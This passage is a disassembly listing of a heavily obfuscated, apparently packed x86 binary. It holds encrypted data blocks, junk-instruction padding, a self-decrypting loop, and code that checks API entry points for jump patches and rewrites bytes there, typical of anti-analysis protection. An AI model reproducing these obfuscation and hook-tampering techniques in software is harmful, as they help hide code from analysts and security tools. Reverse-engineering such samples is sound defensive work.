0FFB24CDEh, 305CC4BFh dd 1E75351h, 36B6EF77h, 6D1CD4EEh, 37B27873h, 8A0A1BC3h dd 56E0C2AEh, 9C116B8Eh, 7377C9E5h, 0EF89A328h, 1E5EF15Dh dd 6974BCC6h, 0B8522ACFh, 0D714422Dh, 0E0488A46h, 721B4Ch dd 78AB0000h, 0C4F3B3EEh, 0BCD5305Ch, 0E24E5438h, 21BB2CCFh dd 4A1C4E70h, 44D6C238h, 4AD8EA3Ah, 423CDEFAh, 0E89933B3h dd 286B1BA8h, 12F270A0h, 4AA6FC90h, 52B2CC6Eh, 0E4A50AB3h dd 822BCD7Fh, 2BCAB446h, 7CFC13BBh, 8FEA00B4h, 0E45B3752h dd 0DC20B6B0h, 9EF62BC2h, 424F3047h, 50D2C2F6h, 0D4759B8Ch dd 0F578FA10h, 7FC7B15Bh, 348h, 0F6549A00h, 0FD7A14Ah dd 77CFA943h, 78C4B45Bh, 7FC7455Ch, 66BEBE53h, 69B5C76Ah dd 6FB7356Dh, 53B3CD63h, 55A9D367h, 0E789575Eh, 5EBBE56h dd 0CE810238h, 6665004Eh, 8103EEC1h, 235D5ACEh, 9FEE817Fh dd 8170223Dh, 323FA4C6h, 5EF701F0h, 8704EF83h ; --------------------------------------------------------------------------- cmp al, 24h pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], ebx mov ebx, 7EFC0F92h mov edx, 790DA6B7h xor edx, ebx pop ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push 5272h mov [esp], edx pop dword ptr [edi+8] mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- mov eax, ds:46414A3h loc_60EB6B: ; CODE XREF: sdfs____:0060E6BCj mov eax, 7F1ACFBh add eax, ebp jmp eax ; --------------------------------------------------------------------------- cwde adc dh, al sbb dl, ch jmp short loc_60EBB1 ; --------------------------------------------------------------------------- db 5Bh dd 631AB700h, 116F5CCh, 528D667Bh, 0A4B81h, 4DC2B1ADh dd 3D3B9CBCh, 4D3714F9h, 16472AAEh, 7D1AB536h, 624EB8A3h dd 31C54103h, 64693E5Ch, 7CDB5598h ; --------------------------------------------------------------------------- wait loc_60EBB1: ; CODE XREF: sdfs____:0060EB79j call far ptr 77DBh:341E6876h test al, 7Bh ficom dword ptr [eax] add esi, [edx] sbb esp, [edx+13h] jno short near ptr loc_60EBD4+2 sub esp, [esi] mov ah, 0AAh pop esp test [esi+4Bh], ebp push esp ; --------------------------------------------------------------------------- dd 54B673DBh, 103DB75Dh ; --------------------------------------------------------------------------- loc_60EBD4: ; CODE XREF: sdfs____:0060EBC1j call sub_60EBE4 and dword ptr [edx+3B28D89Bh], 3F909495h stosb ; =============== S U B R O U T I N E ======================================= sub_60EBE4 proc near ; CODE XREF: sdfs____:loc_60EBD4p cld pop edx mov ax, dx add edx, 7572h mov ax, 0B8A5h mov ecx, 343520Ch add ecx, 0FCBCCB1Bh mov edi, 633C5CA0h loc_60EC03: ; CODE XREF: sub_60EC48+52j mov ebx, [edx] call sub_60EC11 cwde xchg eax, ecx or al, [ebp-12h] and esp, ecx sub_60EBE4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60EC11 proc near ; CODE XREF: sub_60EBE4+21p or esi, 2F6DD63Ah pop esi add ebx, 11F3F243h jnb loc_60EC26 push esi pop edi loc_60EC26: ; CODE XREF: sub_60EC11+Dj xor ebx, 27F94A68h mov eax, 707E7B42h xor ebx, 5E83A6D7h xor al, 22h mov [edx], ebx pusha pusha call near ptr sub_60EC48 mov edx, 846B33AAh sub_60EC11 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60EC48 proc far ; CODE XREF: sub_60EC11+2Dp pop ebx sub ecx, 609887FEh popa adc si, 0E0F4h popa sub edx, 4 jmp loc_60EC68 ; --------------------------------------------------------------------------- dw 51E4h dd 4727A295h, 0EB5FC3C6h ; --------------------------------------------------------------------------- loc_60EC68: ; CODE XREF: sub_60EC48+11j sub ecx, 1 jnz loc_60EC97 jmp loc_60EC86 ; --------------------------------------------------------------------------- dw 11F3h dd 6A1E0D21h, 577B0A07h, 7898F354h db 18h, 95h ; --------------------------------------------------------------------------- loc_60EC86: ; CODE XREF: sub_60EC48+29j jmp loc_60ECB3 ; --------------------------------------------------------------------------- db 6Ch dd 3CD9462Ah, 1CDA6EBAh db 0B9h, 0B5h, 77h ; --------------------------------------------------------------------------- loc_60EC97: ; CODE XREF: sub_60EC48+23j movzx eax, cx jmp loc_60EC03 ; --------------------------------------------------------------------------- db 38h ; --------------------------------------------------------------------------- inc byte ptr [eax-5BFE7D1Dh] stosb std xchg eax, esi retf ; --------------------------------------------------------------------------- dw 0F392h dd 0B314B01Eh db 63h, 91h, 0A3h ; --------------------------------------------------------------------------- loc_60ECB3: ; CODE XREF: sub_60EC48:loc_60EC86j jmp loc_60EDA5 ; --------------------------------------------------------------------------- pusha mov ax, ds test al, 4 jz loc_60EDA3 mov esi, [ebp+7E93539h] cmp esi, 0 jnz loc_60ECF5 mov byte ptr [ebp+7E92659h], 45h push 8E726969h push dword ptr [ebp+7E92669h] lea eax, [ebp+7EC9FDBh] call eax mov [ebp+7E9138Dh], eax mov esi, eax loc_60ECF5: ; CODE XREF: sub_60EC48+85j cmp byte ptr [esi], 0E9h jnz loc_60ED2F lea eax, [ebp+7EEB7B2h] call eax mov edi, [ebp+7E90905h] add edi, 1184h mov esi, [ebp+7E93539h] xchg esi, edi mov ecx, 8 rep movsb mov esi, [ebp+7E93539h] lea eax, [ebp+7ED4EB4h] call eax loc_60ED2F: ; CODE XREF: sub_60EC48+B0j mov esi, [ebp+7E911ADh] cmp esi, 0 jnz loc_60ED60 mov byte ptr [ebp+7E92659h], 54h push 0FF4EBEF4h push dword ptr [ebp+7E92669h] lea eax, [ebp+7EC9FDBh] call eax mov [ebp+7E911ADh], eax mov esi, eax loc_60ED60: ; CODE XREF: sub_60EC48+F0j cmp byte ptr [esi], 0E9h jnz loc_60EDA3 mov esi, [ebp+7E911ADh] lea eax, [ebp+7EEB7B2h] call eax mov edi, [ebp+7E90905h] add edi, 1184h add edi, 8 mov esi, [ebp+7E911ADh] xchg esi, edi mov ecx, 8 rep movsb mov esi, [ebp+7E911ADh] lea eax, [ebp+7ED4EB4h] call eax loc_60EDA3: ; CODE XREF: sub_60EC48+76j ; sub_60EC48+11Bj popa retn ; --------------------------------------------------------------------------- loc_60EDA5: ; CODE XREF: sub_60EC48:loc_60ECB3j lea eax, [ebp+7F1AEFEh] mov [ebp+7E9345Dh], eax lea ecx, [ebp+7F1B0DFh] sub [ebp+7E91979h], esi mov [ebp+7E9320Dh], ecx push 0 push edi call sub_60EDCE and [edi-3Dh], bl sub_60EC48 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60EDCE proc near ; CODE XREF: sub_60EC48+17Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_60EDCE endp ; --------------------------------------------------------------------------- scasd mov dword ptr [ebp+7E922E5h], 5A88h push 0 push ebp call sub_60EDF4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60EDF4 proc near ; CODE XREF: sdfs____:0060EDECp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_60EDF4 endp ; --------------------------------------------------------------------------- xor [edi+22B185C7h], bl jmp near ptr loc_60EE13+3 ; --------------------------------------------------------------------------- align 10h push 0 push edx loc_60EE13: ; CODE XREF: sdfs____:0060EE0Aj call sub_60EE1B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60EE1B proc near ; CODE XREF: sdfs____:loc_60EE13p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_60EE1B endp ; --------------------------------------------------------------------------- sbb [edi], ecx scasd xor [ebp+7E9167Dh], edi push dword ptr [ebp+7E92279h] push 0 push esi call sub_60EE45 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60EE45 proc near ; CODE XREF: sdfs____:0060EE3Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_60EE45 endp ; --------------------------------------------------------------------------- db 56h, 0ECh, 0A5h dd 69EBA836h, 61BD8B1Bh, 0FF07E923h, 0E9228595h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0E03E1EF9h, 8AC6FE86h, 0B697B8C7h, 6A7563h, 0C3195FFh dd 0C08B07E9h, 2DB5FEBh, 31452F7Bh, 0E4237F30h, 823285D7h dd 7B4F1D7Ah, 0E66B653Ah, 3F3210BAh, 4D512C1Ch, 0D0E18167h dd 6A7D888Dh, 0FEDE0264h, 80D584EEh, 13BD1810h, 6B39CD78h dd 767A3BAh, 7C6BAB21h, 1B886B37h, 0A4FA2A38h, 0B234DCF5h dd 9204F709h, 3BF22626h, 0A4C8BD97h, 0CA888443h, 922C072Ch dd 46E93Eh, 0FD7B0000h, 745249DDh, 6C6C416Ch, 7461636Fh dd 61654865h, 70h, 14h, 0Bh dup(0) ; --------------------------------------------------------------------------- jmp loc_60FFC8 ; --------------------------------------------------------------------------- push 7F1B3BEh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1B4BFh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1B6D6h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1B7E1h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1BB1Eh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1BBA8h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1BBEAh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1BCE2h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1BD82h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1BDE8h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1BF81h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7F1C09Eh jmp loc_58B97E ; --------------------------------------------------------------------------- inc ecx stosb retf 892Bh ; --------------------------------------------------------------------------- dw 1765h dd 621C329Eh, 0B33161D3h, 0F9839602h, 5743E474h, 993BBAC2h dd 0CF690488h, 73DD5028h, 71169FD9h, 133C7C35h, 0A6D4286Bh dd 0A1F549E4h, 0C094DE78h, 0A04A5A68h, 9D33B1E0h, 95E77541h dd 0C94B5B03h, 6F836F75h, 50ACCC63h, 8292D664h, 10A63C00h dd 0F6D80CCh, 71186437h, 0DF7E9E81h, 0F8750715h, 2953E66Eh dd 3440D5C1h, 83FD1FB9h, 7B0517A3h, 23B4A7FAh, 0AB791889h dd 8B1937B5h, 0ABEECABBh, 6B8E2873h, 0A7B0CD11h, 86DAA8AAh dd 2E4CE064h, 0A851FBD6h, 7D089E4Ah, 7007DD12h, 0B9E8823Ah dd 2873B5F9h, 3DA1891Bh, 3BC35A9Ch, 0AD053225h, 1EE6250Dh dd 588C1A63h, 41h, 37A0B36Ah, 64E839A5h, 68671A8Ch, 0D437B5ABh dd 0E39E1808h, 2873AAA3h, 49A1376Dh, 7E27FFA5h, 2873AB62h dd 0BA8AF41Ah, 0A282FC1Eh, 86790316h, 0AF1BE786h, 0E7D9FAA3h dd 78C19F9h, 0E9h, 0D2A04AA3h, 5CC4DFDFh, 0DD733130h, 0D4A0B501h dd 0CCAE4C08h, 0A5DC7670h, 305CC4E5h, 19BD752Fh, 95EC81F3h dd 305CBFD8h, 0F77EF812h, 33C5B745h, 0BFA8E899h, 0C68305Ch dd 35FD93E9h, 9A0924F9h, 5CBFA7E7h, 0ED8FA130h, 0A1039311h dd 0B5087913h, 7D37B5AEh, 0A579FB11h, 94148D1Fh, 7C2873AEh dd 811D9026h, 0CE77F9F4h, 5A96E584h, 69039487h, 0C6F12A38h dd 5D3B662Fh, 5580C8F3h, 0D06AFC92h, 469E1C74h, 374D4D3Ch dd 0DDC72087h, 26CB9315h, 772AC456h, 20873737h, 0EF03CBD9h dd 0C733B18Dh, 0C1BB5EFAh, 4A3F5D28h, 0F8EF673Ch, 0DA2h dd 981567F4h, 0D362183Ch, 0ADCF61h, 77FE7C94h, 0A94430C5h dd 779AF633h, 0D5CC6805h, 0DD72DE57h, 94A612A3h, 78224BEAh dd 6B128909h, 13718B28h, 58D5A74Ah, 911C5EFCh, 37A0B331h dd 0AAEDECA5h, 0C9A537B5h, 0C28E5626h, 0ECF64E28h, 6A74C85Eh dd 0ED31B3E2h, 4E6A1BD7h, 2E2873AAh, 0CEAC4008h, 6DE6C76h dd 0BDBA54Ah, 3ABD5C80h, 986E8FF9h, 5C049A92h, 0F8C809B0h dd 3D8C1A2Bh, 9EB199A0h, 0B717EB03h, 0DF12DE5Eh, 0BAh dd 0D2A04AEBh, 5CC4DFDFh, 0DD733130h, 0C0C0B14Bh, 50305CC4h dd 0E4AE652h, 0D44D91EBh, 305CBF97h, 0AD3F39D3h, 966E0E21h dd 7FD9240Ch, 8E43A3DDh, 0FA62F463h, 0DACC2456h, 0B5AE14A7h dd 0A3B62237h, 15B14BD9h, 2DB078FCh, 0DE68FF7Ah, 0C7D8CCA3h dd 0CEBFEA2Fh, 0C4E35747h, 6D75A5AAh, 2ACA78D8h, 0B75A0294h dd 698C28C5h, 91E96613h, 0B78F3C4Bh, 0CA100h, 1666F500h dd 63193D9Fh, 0AED066D2h, 0FF7D9507h, 4537DA76h, 9BF730A8h dd 0CD6F0676h, 73DD50D4h, 0A7119CDCh, 254AEB95h, 11880879h dd 7288286Bh, 0D5A74A0Ch, 98B9B43h, 82FAF35h, 0DA16AC70h dd 0A5D765D7h, 0DC78BA08h, 0E1E34339h, 0ED8FAD09h, 1D5FF35Bh dd 3B77C3C1h, 72037D9Fh, 0BA3868F4h, 0C5338F7Eh, 2735305Ch dd 0DE7CD855h, 29F587AAh, 9D39059Bh, 6A21FD7Fh, 0AB41832Ah dd 8C225AFFh, 0E060A0E1h, 38D58430h, 0DB861291h, 0CE63CF32h dd 0B2h, 37A0B394h, 0B87DECA5h, 6F3537B5h, 0B8D2EE97h dd 0F0B62873h, 0EE33CF66h, 475DD33Ah, 733F5252h, 8E0C228h dd 2C9445E4h, 4A8C1A62h, 82h, 0C5449F18h, 50C3305Ch, 957C35C7h dd 737B5A9h, 0A974346Dh, 0C2542873h, 62CED4B8h, 2F89247Eh dd 0DF92720Ah, 4031CB5Ch, 2FCC79CDh, 1AB63F65h, 2DBB8BF5h dd 9DEB70A1h, 7CB3A896h, 6805ED83h, 35C05ACDh, 12F12A24h dd 0BE2800D3h, 0E2F87CC3h, 5B56E027h, 18A0F95Bh, 7B83E8B5h dd 107F194h, 0FFDB8773h, 1C912759h, 48CADA82h, 8692FE0h dd 8B530000h, 24641D9Bh, 0EC18A0E6h, 0C6DC20B6h, 0EE78586Ah dd 5CC4F3B3h, 0AB871D30h, 5AEC7BF6h, 3B7B36C0h, 0D5305CC5h dd 97E90FCFh, 0A91BAA5Bh, 891B37B5h, 0A8F0CCB5h, 98882873h dd 698ECA1Ah, 107CCF17h, 2DD18969h, 0F8754F8Ch, 1AF18C19h dd 0D1000000h, 4339DC78h, 0C4BA16F7h, 0F284305Ch, 6E82C66Ah dd 1DB27E0Ch, 0FFFFFBE6h, 37A0B3A5h, 0AF720BA5h, 0B521AC9Eh dd 594839F1h, 0D937B513h, 2E8A7BCBh, 0D2287313h, 72528F2Eh dd 8C8C1A8Eh, 4C8h, 0CAD03FD6h, 732EB82Fh, 37B59F80h, 19A86C36h dd 0D1B06D5Ch, 0C963F467h, 0F880973Fh, 0B3529E24h, 860762E8h dd 0D5A8742Eh, 0A13BCD5Ah, 631A9A17h, 0A8FA76C5h, 0C2C88140h dd 0B8EA7E19h, 0EA94A62Eh, 3143E94Bh, 1BB3D9B8h, 746BFBF2h dd 0A8Ah, 70FD7F9Ch, 0AB4A30C4h, 1895E709h, 4FE664BCh dd 812C48EDh, 8FA20E2Bh, 0BDD440EDh, 0F51AB63Fh, 0AC4EEA8Bh dd 603A23D2h, 6B0F7131h, 3B69A328h, 0ED6A04Ah, 5728B8BBh dd 7996D8ABh, 127A007Fh, 0A8E0BE7Bh, 0EE11801Ah, 0A437B51Fh dd 4FE06CFEh, 314802Dh, 1F84047Dh, 168C2873h, 0BBDEB287h dd 0D167F0F5h, 0DB14940Dh, 0C5E12872h, 5E2872CAh, 0A2DC72D3h dd 18B24042h, 0CB9C1A69h, 7E0D982Fh, 0B43F7B10h, 0B4D1662Eh dd 0A9A16B21h, 11BDCB1Bh, 1DA77FFDh, 8A9834D5h, 0BE502089h dd 0C915678Ah, 0FDD925BBh, 0F7C2225Ah, 823EBC5Dh, 0C202DF7Eh dd 3C94041Ah, 2Eh, 0B3EE7886h, 305CC4F3h, 0F6AB871Dh, 4336DA7Bh dd 0E5DD8558h, 9321B741h, 920D88F9h, 7F2537B5h, 1E30A7h dd 0EE760000h, 0D6EC304Ah, 0A0B3A81Ah, 720BA537h, 2F050210h dd 14F53D4Ah, 37B5928Dh, 9DC71F85h, 5BD6A04Ah, 339FB136h dd 7F299E56h, 0AB000009h, 0D37DF080h, 4B03D3Fh, 4BE588F2h dd 0F854D95Bh, 1E8E2755h, 0E094B919h, 32B2E34Dh, 7EFE1183h dd 0C5B745F7h, 265B4728h, 286B0E66h, 0B32E9CAEh, 0ECA537A0h dd 37B5B9C9h, 0CF8B5B49h, 0A3A2532Dh, 4F2A7E88h, 6C01869Fh dd 55765BF2h, 2886E627h, 95022DC0h, 4CDC6903h, 0A0D27861h dd 0C67BB415h, 5F149B6Ah, 0A0020881h, 9EDC705Ch, 6A63710Ch dd 1A520876h, 9D98D3DEh, 0ABE6700Ah, 0F93F1CEBh, 35B37F25h dd 61E3339Bh, 5A2B079Dh, 97EE4Bh, 3CE5396Bh, 0F155EFA0h dd 0C011B844h, 0C337B200h, 0CC219835h, 0F54933C7h, 63745EEFh dd 9D1D9426h, 77F15609h, 23A8C52Dh, 3A000001h, 0A537A0B3h dd 0B5B9C9ECh, 0C15B4937h, 0AC84F005h, 0C4B64470h, 84BA9B32h dd 9EFD9C63h, 4FED4F52h, 1530D12Dh, 0D44F2A05h, 0CD6F9940h dd 38A402B3h, 69C6012h, 126C8E2Ah, 0CAF85332h, 0ABAD27DEh dd 4A34C602h, 91E309ABh, 0E679F84Dh, 0CCBD5D54h, 0CDD7D9DCh dd 75E20D20h, 0AA2A7BE3h, 4229584Eh, 50E135B2h, 34C6F252h dd 0B353534Eh, 0E7BDD1F3h, 0AB42DC51h, 0E07D8BA8h, 2958F2BAh dd 0D1F38169h, 8531F9ABh, 48390577h, 0D1F38150h, 78AC4D73h dd 760DA0D2h, 25BF4810h, 5EDFEF86h, 91ECACE5h, 7E245D9Fh dd 28A566EFh, 93182DC0h, 0B7EA84E2h, 5D9F4DF7h, 92128F19h dd 825D9F4Dh, 0DBCA9220h, 33FF8559h, 3B0B7587h, 56A63A4Ah dd 0E39DB2E3h, 0DBA5B703h, 0AD4CB00Bh, 0C564884Dh, 68B9E903h dd 0E3433DD2h, 0F1F353E1h, 0D466D263h, 94875AAAh, 5D386903h dd 0AFDEB0A4h, 356C1027h, 0CF6EA575h, 0AF77059Fh, 9A7E8015h dd 62FD7077h, 35B8EA96h, 710B2DA9h, 5EB717ADh, 0B47C06DEh dd 771Bh, 0A0B3AB00h, 9C4CBB30h, 9F2D8EEDh, 5497700Dh dd 8F368778h, 0ABB4AEFEh, 0D7231211h, 0E3E5A0D1h, 534D37B4h dd 72E45E5Eh, 0A4267E28h, 0D824BAE8h, 8FF106CEh, 9A56D6CFh dd 0CD601A3Eh, 3F26C451h, 88308237h, 72FA9919h, 9B297B28h dd 2AAA4A5Fh, 0DD6FE077h dd 4599DB71h, 5BF5F33Fh, 62B5FF3h, 8614AE76h, 317120BEh dd 0E3287301h, 6C733C1h, 2873017Eh, 3E8C0C96h, 5FD6A04Ah dd 0EC7EE904h, 0C55F5F52h, 0F3B1305Ch, 4F17A107h, 6C1DD557h dd 37B59EA9h, 0CAFE3C69h, 0B465255Ch, 0F5AF2873h, 6888A660h dd 1CB640DAh, 73722565h, 0C62E1628h, 16BA043Bh, 0E8CC247Eh dd 1CB83547h, 5DF781FBh, 73756424h, 5B5B5628h, 0B5287375h dd 35FDA7EFh, 9E0924F9h, 4A72950Ch, 82202FCCh, 95B824A2h dd 5E7A0BE7h, 0E7208A3Ah, 5849E374h, 27E30B49h, 3AEB3B69h dd 18A10C9Eh, 0C21FBE42h, 9BEC9902h, 0F676AF37h, 1FE73Ah dd 7FE70000h, 7B49A1DBh, 0A537A0B3h, 0B5ABB1ECh, 89238137h dd 0F14D2FCDh, 0F4EB07F3h, 29h, 37A0B30Eh, 0AF430BA5h dd 1D6465CDh, 0F537B5B3h, 0A801DAFh, 0A9ED0324h, 0D1EF03EFh dd 0E091E775h, 287354A0h, 549C3270h, 0D6A04A76h, 9FB1005Bh dd 3F90AC33h, 642h, 38B5C754h, 7302789Ch, 0A04D2FC1h, 179E1C74h dd 49E490A5h, 0D77A56D3h, 75AC08A5h, 3DD27EF7h, 0F406B243h dd 1882EB8Ah, 6B0A2969h, 0F3D1EB28h, 54F0BF3Fh, 6965B9C3h dd 0BB23B1C3h, 530EEA6Ah, 19C557C0h, 26BC80F4h, 32A5DCCAh dd 8037B59Fh, 8B4BFA22h, 34EA2EC4h, 651CAE39h, 6D859CC2h dd 3FF25250h, 6011AB3Ch, 659C6308h, 0E460FAA8h, 1D892456h dd 47D561B1h, 6F4BA735h, 7106B3CDh, 47E99DD3h, 5B8D88Fh dd 49E20000h, 62A862Fh, 0B95FF974h, 92822EC7h, 1E339D10h dd 0E059D75Eh, 961F5DF0h, 0C469EB3Ah, 38B5C768h, 71FC7E9Ch dd 9F1F920Ch, 71286B09h, 0A04A655Bh, 9F2D4FE0h, 9FB14B12h dd 0C2F54933h, 576h, 44E98BA0h, 0BF3644E8h, 0EC81FB1Dh dd 23D25040h, 95185CF1h, 0A3B62207h, 0A9F854D9h, 92E8A2Bh dd 0B852FE77h, 544E37BEh, 6B0A5D5Dh, 2785B728h, 7F50ED78h dd 54744165h, 9975F3E0h, 0DD15AB62h, 972153F9h, 7B584DFEh dd 3D11A4D4h, 2F4DE171h, 60E43D99h, 0F62A069Ch, 0EEA33023h dd 305BFBAEh, 3A93C66h, 430616B8h, 0BDF48614h, 38497945h dd 0E5B8356Fh, 3741EB4Ah, 0B547D5EFh, 0C35C59FCh, 38DDB92Fh dd 58B3A93Ch, 0D36ADF86h, 0A400E13Dh, 58208155h, 0FCC415B4h dd 7A940C4Bh, 98h, 0FFBA3F48h, 75BD3F57h, 902ABDB8h, 0B59EEEE1h dd 3EDEC437h, 2FADE460h, 8C8802C3h, 9A95F76Eh, 3CD37B0Dh dd 0BFF2F43Ch, 60C580F4h, 0E9BC8022h, 874FD94Eh, 66163B8Fh dd 0BA760CD0h, 0E0FC752Ch, 0ECB658D7h, 1E58F25Ah, 65172597h dd 5A557FCCh, 0EEC11DD5h, 47Eh, 7CF183A8h, 0B73E3CD0h dd 0E489F305h, 5BDA5848h, 8D2054F9h, 9BBE1A1Fh, 0B1E04CE1h dd 1168233h, 0B05AF67Fh, 5C462FC6h, 6B096525h, 2F9DAF28h dd 9B51h, 463BD500h, 305CC546h, 0AE1CD4CEh, 0A537A0B3h dd 4A13E4ECh, 968E5638h, 7EBAC814h, 0DE861092h, 33B3423Ch dd 12A8E899h, 3A68286Bh, 4630DAFEh, 9F082BFEh, 0F8C5940Dh dd 306D2FC3h, 8B00D80Fh, 29F58BE2h, 0C8C059Fh, 42081CAh dd 0BD5C0F9Eh, 825CB061h, 0EF78FBB6h, 9E1245Dh, 733127DBh dd 5C0B53C6h, 0FAED6124h, 3DEh, 0DC5123C8h, 179EDC70h dd 44E993A5h, 0BB3AB8E8h, 0ED80F419h, 3BDEBA7Fh, 1100AC41h dd 0A1B6E293h, 50FA56DFh, 0BCE68F26h, 6B07C5C5h, 4F3D4F28h dd 5CC51F9Fh, 0C4D0EC30h, 0C651305Ch, 18AE2E67h, 13DB138Eh dd 962F384Ah, 439B1F8Eh, 7965CD68h, 5DFFDB2Bh, 0A9750715h dd 43EC851Bh, 41346EB3h, 378DA8Dh, 89A20000h, 46EA46EFh dd 0F91FB934h, 5242EE87h, 5EF35DD0h, 2019971Eh, 56DF9DB0h dd 8429ABFAh, 0F8750728h, 31BCBE5Ch, 5F5F524Ch, 0B1286B08h dd 0A04A259Bh, 0B8BB0ED6h, 0A1E49D2Fh, 7137B5A3h, 0F684F005h dd 0D56EF7Fh, 0F771A92h, 12B657A3h, 0CA5AF937h, 7CD85527h dd 8E43A3D9h, 0CE58F279h, 0D836D3D3h, 0CACAC7D5h, 4AD5D836h dd 826E3458h, 1127AF3Fh, 4A01836Fh, 420ED6A0h, 0C727CEA8h dd 0DA82FA1Fh, 32EF4B35h, 0BE26B027h, 861CE09Ah, 3AA23CAAh dd 0F9569EBh, 0AC432223h, 675337B5h, 4F55A9D3h, 20BC65B9h dd 0C42873ADh, 80409138h, 0FE8C19F4h, 38h, 37A0B3C4h, 100B08A5h dd 0DA73092Dh, 5D95888Dh, 4A97564Bh, 0A5FF37B5h, 4A0CA859h dd 0B5EC2873h, 4CE3EF37h, 0F51BD02Ch, 163AA654h, 5B5AAA77h dd 0EF948C1Ah, 2E000000h, 0ED6A04Ah, 71CDAF42h, 79C5B745h dd 30BDBF5Dh, 5CC01451h, 56F86430h, 0A67EF812h, 28B68E1Ch dd 5CC03979h, 3BC9DB30h, 4731DBFFh, 760629B5h, 0F8214AEh dd 305CBF8Fh, 0CAD72381h, 7284CC6Eh, 0D7AA7A08h, 1F53E544h dd 21A383FDh, 0D16BFD93h, 0BF4A4A47h, 0D8CA305Ch, 549CDE7Ch dd 0B59E26B5h, 415FF637h, 0F8D1542Bh, 0BFE58961h, 67F06336h dd 795A38D5h, 9380ABC3h, 0A73D0183h, 0D2CFD911h, 2FC79443h dd 0EA73173h, 24EDFFE8h, 0FFBFF2D4h, 11208796h, 0B335FD93h dd 0FF76062Bh, 35BCB85Dh, 3C4A9FB6h, 0DF194E86h, 0CB000001h dd 73DD5020h, 0A4109DDFh, 0EB45E892h, 18B439BBh, 7EEE87F5h dd 4034D9B9h, 921203ADh, 0DE9EB1E3h, 2557E557h, 0C6BBE788h dd 286B05C6h, 4A4E3C4Eh, 0FC58D5A7h, 15911C5Eh, 0C586067Bh dd 148E305Ch, 0A0B3EEDCh, 0EDECA537h, 5F37B5AAh, 0DE1A62F7h dd 0F5AC7032h, 2873A9D9h, 1CDA838Fh, 4DDF9DB0h, 73AA5454h dd 0AE6BC28h, 19FB47B9h, 0E3A78Ch, 8D270000h, 0F74F2DC1h dd 0B5FCBCEDh, 0B8142873h, 861CE092h, 4A8A38F0h, 0DFDFD2A0h dd 31305CC4h, 0E8A8D973h, 28305CC4h, 0BC18E47Ah, 6203E399h dd 305CBFE5h, 0E489EB01h, 4055E07Ah, 2381D59Ah, 0E9E1E93h dd 2C76305Ch, 383AD0C4h, 0A70611E4h, 891BEB95h, 0A13061FBh dd 9137B4EEh, 2CCF6213h, 6CA521BBh, 0EDF5B5ECh, 851F2872h dd 5D952FF7h, 1920564Bh, 208C2FC7h, 7B3B76F0h, 95208719h dd 3FEC790Fh, 0E775F808h, 913DCF5Dh, 0CE21FF7Ch, 0F423F34h dd 0D267EF79h, 0E0485AAAh, 0DE9EB31Dh, 4A29DE53h, 7166FE3Ch dd 0C2h, 0B83547D4h, 0F382F81Ch, 20CDAF41h, 971E9CF4h dd 0C9641025h, 57FAD653h, 0F52C8825h, 0BD52FE77h, 748632C3h dd 98026B0Ah, 6B04A9E9h, 73516B28h, 58D5A74Ah, 911C5EFCh dd 0D6A04A31h, 36729844h, 77CF5DDFh, 3143E96Dh, 329A5F9h dd 8EA9FC71h, 30C78F19h, 2EEF448h, 13E9EDA4h, 0F9AB384Ah dd 0F183A925h, 0D67AE27Ch, 0EE4A58A4h, 8E5620CAh, 6B2B66F0h dd 0A5286B13h, 4A5233FFh, 3767ED4h, 768440E9h, 8F268E03h dd 5ED3DBCAh, 25AD3819h, 0CC61F784h, 54A8CA60h, 10AA2878h dd 433F5685h, 47B388A1h, 10AAF42Bh, 3F732161h, 79B1F3DAh dd 9AB07415h, 51FB55D8h, 3E8DF27h, 3A000000h, 0A14AF654h dd 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh dd 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h, 3AFFh dd 24048F54h, 4240483h, 8904EC83h, 89522404h, 4C281E2h dd 83000000h, 148704EAh, 2C895C24h, 4CBA5224h, 0B81E565Fh dd 19A7ED47h, 148BD031h, 4C48324h, 3B7768h, 24248900h dd 4240483h, 0C389535Dh, 8B085D89h, 0C483241Ch, 242C8B04h dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 5024048Bh, 405E089h dd 5000000h, 4, 5C240487h, 0F7B9C1E9h, 0F6FD4AFFh, 0D2AC862Eh dd 3EA09E05h ; --------------------------------------------------------------------------- loc_60FFC8: ; CODE XREF: sdfs____:0060EF48j mov eax, 7F1C185h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 2Ah, 28h, 5 dd 